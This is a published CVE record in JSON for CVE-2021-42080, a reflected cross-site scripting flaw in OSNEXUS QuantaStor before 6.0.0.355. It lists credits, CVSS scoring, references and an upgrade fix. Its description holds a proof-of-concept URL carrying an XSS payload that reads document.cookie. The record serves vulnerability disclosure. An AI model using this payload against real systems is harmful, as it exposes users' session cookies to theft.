{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2021-42080","assignerOrgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","state":"PUBLISHED","assignerShortName":"DIVD","dateReserved":"2021-10-07T17:12:57.677Z","datePublished":"2023-07-10T06:29:48.166Z","dateUpdated":"2025-09-22T06:40:04.494Z"},"containers":{"cna":{"affected":[{"defaultStatus":"unknown","product":"QuantaStor","vendor":"OSNEXUS","versions":[{"lessThan":"6.0.0.355","status":"affected","version":"0","versionType":"semver"}]}],"credits":[{"lang":"en","type":"finder","value":"Wietse Boonstra (DIVD)"},{"lang":"en","type":"analyst","value":"Frank Breedijk (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Pasman (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Gevers (DIVD)"},{"lang":"en","type":"analyst","value":"Max van der Horst (DIVD)"},{"lang":"en","type":"analyst","value":"Célistine Oosting (DIVD)"}],"descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"An attacker is able to launch a Reflected XSS attack using a crafted URL.<br><br>POC:<br><br>Visit the following URL<br><div><div><div><div><div><div><div><pre><div>https://&lt;IPADDRESS&gt;:8153/qstorapi/echo?inputMessage=&lt;img%20src=x%20onerror=alert(document.cookie)&gt;</div></pre></div></div></div></div></div></div></div>"}],"value":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"NONE","baseScore":7.4,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"NONE","privilegesRequired":"NONE","scope":"CHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","version":"3.1"},"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}]}],"problemTypes":[{"descriptions":[{"cweId":"CWE-79","description":"CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","lang":"en","type":"CWE"}]}],"providerMetadata":{"orgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","shortName":"DIVD","dateUpdated":"2025-09-22T06:40:04.494Z"},"references":[{"tags":["third-party-advisory","technical-description"],"url":"https://www.wbsec.nl/osnexus"},{"tags":["third-party-advisory"],"url":"https://csirt.divd.nl/DIVD-2021-00020/"},{"tags":["product"],"url":"https://www.osnexus.com/products/software-defined-storage"},{"tags":["third-party-advisory","technical-description","exploit"],"url":"https://csirt.divd.nl/CVE-2021-42080"}],"solutions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"source":{"discovery":"UNKNOWN"},"title":"Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355","x_generator":{"engine":"Vulnogram 0.1.0-dev"}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-04T03:22:25.845Z"},"title":"CVE Program Container","references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred"]},{"url":"https://csirt.divd.nl/CVE-2021-42080","tags":["third-party-advisory","x_transferred"]}]},{"metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2024-10-21T21:06:56.590163Z","id":"CVE-2021-42080","options":[{"Exploitation":"none"},{"Automatable":"no"},{"Technical Impact":"partial"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"title":"CISA ADP Vulnrichment","providerMetadata":{"orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","shortName":"CISA-ADP","dateUpdated":"2024-10-21T21:10:56.435Z"}}]}}